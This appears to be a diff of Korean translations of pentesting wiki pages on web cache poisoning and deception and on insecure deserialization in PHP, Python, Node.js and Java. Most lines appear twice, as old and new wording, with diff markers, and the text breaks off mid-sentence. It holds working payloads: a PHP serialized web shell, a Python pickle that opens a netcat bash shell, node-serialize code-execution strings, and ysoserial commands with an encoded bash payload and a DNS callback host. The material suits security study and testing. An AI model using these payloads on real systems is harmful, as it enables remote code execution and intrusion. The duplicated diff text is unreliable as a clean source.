ATS는 URL 내의 조각을 제거하지 않고 전달했으며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다 (조각을 무시함). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다.
ATS는 URL 내의 조각을 제거하지 않고 전달하고, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다 (조각을 무시함). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다.
### GitHub CP-DoS
@ -208,7 +210,7 @@ content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했
### GitLab + GCP CP-DoS
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP 버킷**은 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 중독시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있습니다.
GitLab은 GCP 버킷을 사용하여 정적 콘텐츠를 저장합니다. **GCP 버킷**은 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 중독시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. `PURGE` 메서드도 지원할 수 있습니다.
### Rack 미들웨어 (Ruby on Rails)
@ -216,11 +218,11 @@ Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩
### 403 및 스토리지 버킷
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 발생하여 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중지했지만, 이 동작은 여전히 다른 프록시 서비스에서 존재할 수 있습니다.
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 인증 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중지했지만, 이 동작은 여전히 다른 프록시 서비스에서 존재할 수 있습니다.
### 키가 있는 매개변수 주입
캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 함께 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다.
캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다.
### 사용자 에이전트 규칙
@ -234,11 +236,11 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## 캐시 중독
## 캐시 기만
캐시 중독의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 만드는 것입니다**.
캐시 기만의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 로드하게 만드는 것입니다**.
우선, **확장자**인 `.css`, `.js`, `.png` 등은 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있습니다. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **확장자**를 인식하여 응답을 저장할 가능성이 높습니다. 그러나 **애플리케이션**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 콘텐츠로 **재생**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **훔칠** 수 있습니다.
우선, **확장자**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장되도록 구성되어 있다는 점에 유의하십시오.** 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **확장자**를 인식하여 응답을 저장할 가능성이 높습니다. 그러나 **애플리케이션**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 내용을 재생하는 경우, 다른 사용자로부터 해당 내용을 **훔칠** 수 있습니다.
테스트할 다른 사항:
@ -253,9 +255,9 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio
예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\
그런 다음 **공격자**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다.
**캐시 프록시**는 **파일의 확장자**(_css_)를 기반으로 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시하지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다 (이는 _.css_ 파일에 대한 예상입니다).
**캐시 프록시**는 **파일의 확장자**(_css_)를 기반으로 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시하지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다 (이는 _.css_ 파일에 대해 예상되는 것입니다).
여기에서 [HTTP 요청 스머글링을 악용한 캐시 중독 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보십시오.
여기에서 [HTTP 요청 스머글링을 악용한 캐시 기만 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보십시오.
## 자동 도구

View File

@ -4,7 +4,7 @@
## Basic Information
**Serialization**은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해됩니다. 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**Serialization**은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**Deserialization**은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다.
@ -14,11 +14,11 @@ Deserialization은 **공격자가 직렬화된 데이터를 조작하여 해로
PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 사용됩니다:
- `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화야 할 객체의 모든 속성 이름의 배열을 반환해야 합니다. 일반적으로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
- `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화되어야 할 객체의 모든 속성 이름의 배열을 반환해야 합니다. 일반적으로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
- `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.
- `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다.
- `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 기반한 다른 작업을 수행하는 데 사용될 수 있으며, 효과적으로 객체의 텍스트 표현을 제공합니다.
```php
<?php
class test {
@ -90,7 +90,7 @@ This is a test<br />
> }
> ```
설명된 **PHP 예제는 여기에서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
설명된 **PHP 예제를 여기서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
@ -171,11 +171,11 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
[**PHPGGC**](https://github.com/ambionics/phpggc)는 PHP 역직렬화를 악용하기 위한 페이로드를 생성하는 데 도움을 줄 수 있습니다.\
여러 경우에 애플리케이션의 소스 코드에서 역직렬화를 악용할 방법을 **찾을 수 없지만**, 외부 PHP 확장의 코드를 **악용할 수 있을지도 모릅니다.**\
따라서 가능하다면 서버의 `phpinfo()`를 확인하고 **인터넷에서 검색** (심지어 **PHPGGC의 가젯**에서도) 악용할 수 있는 가능한 가젯을 찾아보세요.
가능하다면 서버의 `phpinfo()`를 확인하고 **인터넷에서 검색**하세요 (심지어 **PHPGGC**의 **가젯**에서도) 악용할 수 있는 가능한 가젯을 찾아보세요.
### phar:// 메타데이터 역직렬화
파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 _**file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**_**와 같은 함수를 사용하는 경우**. **phar** 프로토콜을 사용하여 **파일**을 **읽을 때** 발생하는 **역직렬화**를 악용해 볼 수 있습니다.\
파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 _**file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**_**와 같은 함수를 사용하는 경우**. **phar** 프로토콜을 사용하여 **파일**을 읽을 때 발생하는 **역직렬화**를 악용해 볼 수 있습니다.\
자세한 내용은 다음 게시물을 읽어보세요:
{{#ref}}
@ -195,9 +195,9 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
바이패스 기술을 확인하기 전에, `print(base64.b64encode(pickle.dumps(P(),2)))`를 사용하여 python3를 실행 중인 경우 python2와 호환되는 객체를 생성해 보세요.
바이패스 기술을 확인하기 전에, `print(base64.b64encode(pickle.dumps(P(),2)))`를 사용하여 Python3를 실행 중인 경우 Python2와 호환되는 객체를 생성해 보세요.
**pickle jails**에서 탈출하는 방법에 대한 더 많은 정보는 다음을 확인하세요:
**픽클 감옥**에서 탈출하는 방법에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -205,7 +205,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
다음 페이지는 **YAML의 안전하지 않은 역직렬화를 악용하는 기술**을 제시하고, **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:
다음 페이지는 **YAML의 안전하지 않은 역직렬화를 악용하는 기술**을 소개하고, **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:
{{#ref}}
python-yaml-deserialization.md
@ -286,8 +286,8 @@ console.log("Serialized: \n" + payload_serialized)
마지막 코드 조각에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 안에서 사용됩니다**.
하지만, **함수를 단순히 직렬화하는 것만으로는** 실행되지 않습니다. 왜냐하면 코드의 일부가 **우리의 예제에서 `y.rce`를 호출해야 하기 때문이며**, 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가함으로써** 객체가 역직렬화될 때 직렬화된 함수를 자동으로 실행할 수 있습니다.\
하지만, **함수를 단순히 직렬화하는 것만으로는** 실행되지 않습니다. 왜냐하면 코드의 일부가 **`y.rce`를 호출해야** 하기 때문이며, 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가**하면 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방식을 주목하세요:
```javascript
var serialize = require("node-serialize")
@ -296,7 +296,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
이전에 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행합니다** `eval`을 사용하여. 따라서 **코드를 자동으로 실행**하려면 **함수 생성** 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너**를 **실행하면**니다:
앞서 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행**합니다. 따라서 **코드를 자동으로 실행**하기 위해 함수 생성 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너**를 **실행**할 수 있습니다:
```javascript
var serialize = require("node-serialize")
var test =
@ -307,7 +307,7 @@ serialize.unserialize(test)
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**의 주목할 만한 점은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 차단되어, `console.log()``require(something)`와 같은 명령 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
**funcster**의 주목할 만한 점은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 차단되어, `console.log()``require(something)`와 같은 명령어를 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
```javascript
@ -366,7 +366,7 @@ deserialize(test)
## Java - HTTP
Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니다**. 이 실행은 악의적인 페이로드를 제작하는 공격자에 의해 악용될 수 있으며, 이는 해로운 행동의 실행으로 이어질 수 있습니다.
Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니다**. 이 실행은 공격자가 이러한 콜백을 트리거하는 악성 페이로드를 제작하여 악의적인 행동을 실행할 수 있도록 악용될 수 있습니다.
### 지문
@ -380,7 +380,7 @@ Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니
다음에 특히 주의하세요:
- 외부 사용자가 정의한 매개변수와 함께 사용되는 `XMLDecoder`.
- `XStream``fromXML` 메서드, 특히 XStream 버전이 1.46 이하인 경우, 직렬화 문제에 취약합니다.
- XStream 버전이 1.46 이하인 경우, 직렬화 문제에 취약`XStream``fromXML` 메서드.
- `readObject` 메서드와 결합된 `ObjectInputStream`.
- `readObject`, `readObjectNodData`, `readResolve`, 또는 `readExternal`과 같은 메서드의 구현.
- `ObjectInputStream.readUnshared`.
@ -395,13 +395,13 @@ Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니
- `Content-type``application/x-java-serialized-object`로 설정된 HTTP 응답 헤더.
- 이전 압축을 나타내는 16진수 패턴: `1F 8B 08 00`.
- 이전 압축을 나타내는 Base64 패턴: `H4sIA`.
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState 역직렬화에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### 취약점 확인
**Java Deserialized exploit 어떻게 작동하는지 배우고 싶다면** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), 및 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)를 살펴보아야 합니다.
**Java Deserialized exploit 어떻게 작동하는지 배우고 싶다면** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), 및 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)를 살펴보아야 합니다.
#### 화이트 박스 테스트
@ -410,18 +410,18 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
당신은 **취약한 모든 라이브러리**를 확인해 볼 수 있으며, [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에 표시된 라이브러리를 확인할 수 있습니다.\
당신은 **취약한 모든 라이브러리**를 확인하고 [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에 표시된 라이브러리를 확인할 수 있습니다.\
또한 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)를 사용하여 익스플로잇할 수 있는 가능한 가젯 체인을 검색할 수 있습니다.\
**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며, 잘못된 긍정 결과를 나타낼 수 있습니다**.
**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며 잘못된 긍정 결과를 나타낼 수 있습니다**.
#### 블랙 박스 테스트
Burp 확장 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **어떤 라이브러리가 사용 가능한지**(버전 포함) 식별할 수 있습니다. 이 정보를 통해 **취약점을 익스플로잇할 페이로드를 선택하는 것이 더 쉬워질 수 있습니다**.\
[**GadgetProbe에 대해 더 알아보려면 여기를 읽어보세요.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
Burp 확장 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **어떤 라이브러리가 사용 가능한지**(버전 포함) 식별할 수 있습니다. 이 정보를 통해 취약점을 익스플로잇할 **페이로드를 선택하기가 더 쉬워질 수 있습니다**.\
[**GadgetProbe에 대해 더 알아보려면 여기를 읽세요.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe는 **`ObjectInputStream` deserialization**에 중점을 두고 있습니다.
Burp 확장 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 **ysoserial로 익스플로잇할 수 있는 취약한 라이브러리**를 **식별**하고 **익스플로잇**할 수 있습니다.\
[**Java Deserialization Scanner에 대해 더 알아보려면 여기를 읽어보세요.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Burp 확장 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 **ysoserial로 익스플로잇할 수 있는 취약한 라이브러리**를 **식별하고** 익스플로잇할 수 있습니다.\
[**Java Deserialization Scanner에 대해 더 알아보려면 여기를 읽세요.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중점을 두고 있습니다.
또한 [**Freddy**](https://github.com/nccgroup/freddy)를 사용하여 **Burp**에서 **deserialization** 취약점을 **탐지**할 수 있습니다. 이 플러그인은 **`ObjectInputStream`** 관련 취약점뿐만 아니라 **Json****Yml** deserialization 라이브러리의 취약점도 탐지합니다. 활성 모드에서는 슬립 또는 DNS 페이로드를 사용하여 이를 확인하려고 시도합니다.\
@ -429,16 +429,16 @@ Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중
**직렬화 테스트**
서버에서 취약한 라이브러리가 사용되는지 확인하는 것만으로는 충분하지 않습니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
웹 애플리케이션으로 전송되는 Java 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 인간이 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하는 것이 더 쉬워질 것입니다.
서버에서 취약한 라이브러리가 사용되고 있는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
웹 애플리케이션으로 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다.
### **익스플로잇**
#### **ysoserial**
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 또한 복잡한 명령(예: 파이프 사용)을 사용할 수 있는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 고려할 수 있습니다.\
이 도구는 **`ObjectInputStream`**을 익스플로잇하는 데 **중점을 두고** 있습니다.\
나는 **RCE** 페이로드를 테스트하기 전에 **"URLDNS"** 페이로드를 사용하기 시작할 것입니다. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 또한 복잡한 명령(예: 파이프 사용)을 사용할 수 있는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 사용하는 것도 고려할 수 있습니다.\
이 도구는 **`ObjectInputStream`** 익스플로잇에 **중점을 두고** 있습니다.\
나는 **RCE** 페이로드를 테스트하기 전에 **"URLDNS"** 페이로드를 **사용하기 시작할 것입니다**. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -483,7 +483,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때, 실행의 출력을 리디렉션하기 위해 ">" 또는 "|"와 같은 특수 문자를 사용할 수 없으며, 명령을 실행하기 위해 "$()"를 사용하거나 **공백**으로 구분된 **인수**를 명령에 전달할 수 없습니다 (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, 명령을 실행하기 위해 "$()"를 사용하거나, **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지를 사용할 수 있습니다](http://www.jackson-t.ca/runtime-exec-payloads.html).
다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해 보세요:
```python
@ -528,14 +528,14 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti
<type>pom</type>
</dependency>
```
**Maven을 설치**하고, **프로젝트를 컴파일**합니다:
**Maven을 설치하고**, **프로젝트를 컴파일합니다**:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
```
#### FastJSON
이 Java JSON 라이브러리에 대해 더 읽어보세요: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
이 Java JSON 라이브러리에 대해 더 알아보세요: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Labs
@ -549,14 +549,14 @@ Java는 다양한 목적을 위해 많은 직렬화를 사용합니다:
- **HTTP 요청**: 직렬화는 매개변수, ViewState, 쿠키 등을 관리하는 데 널리 사용됩니다.
- **RMI (원격 메서드 호출)**: Java RMI 프로토콜은 직렬화에 전적으로 의존하며, Java 애플리케이션의 원격 통신의 초석입니다.
- **HTTP를 통한 RMI**: 이 방법은 Java 기반의 두꺼운 클라이언트 웹 애플리케이션에서 일반적으로 사용되며, 모든 객체 통신에 직렬화를 활용합니다.
- **JMX (Java 관리 확장)**: JMX는 네트워크를 통해 객체를 전송하는 데 직렬화를 사용합니다.
- **JMX (Java Management Extensions)**: JMX는 네트워크를 통해 객체를 전송하는 데 직렬화를 사용합니다.
- **사용자 정의 프로토콜**: Java에서는 표준 관행으로 원시 Java 객체를 전송하는 것이 포함되며, 이는 향후 익스플로잇 예제에서 시연될 것입니다.
### Prevention
#### Transient objects
`Serializable`을 구현하는 클래스는 직렬화되지 않아야 하는 클래스 내의 모든 객체를 `transient`로 구현할 수 있습니다. 예를 들어:
`Serializable`을 구현하는 클래스는 직렬화되지 않아야 하는 클래스 내의 객체를 `transient`로 구현할 수 있습니다. 예를 들어:
```java
public class myAccount implements Serializable
{
@ -565,7 +565,7 @@ private transient double margin; // declared transient
```
#### Serializable를 구현해야 하는 클래스의 직렬화를 피하십시오
특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해 이러한 객체가 비역직렬화 가능하도록 `final` `readObject()` 메서드를 정의하여 항상 예외를 발생시키도록 하십시오. 아래와 같이:
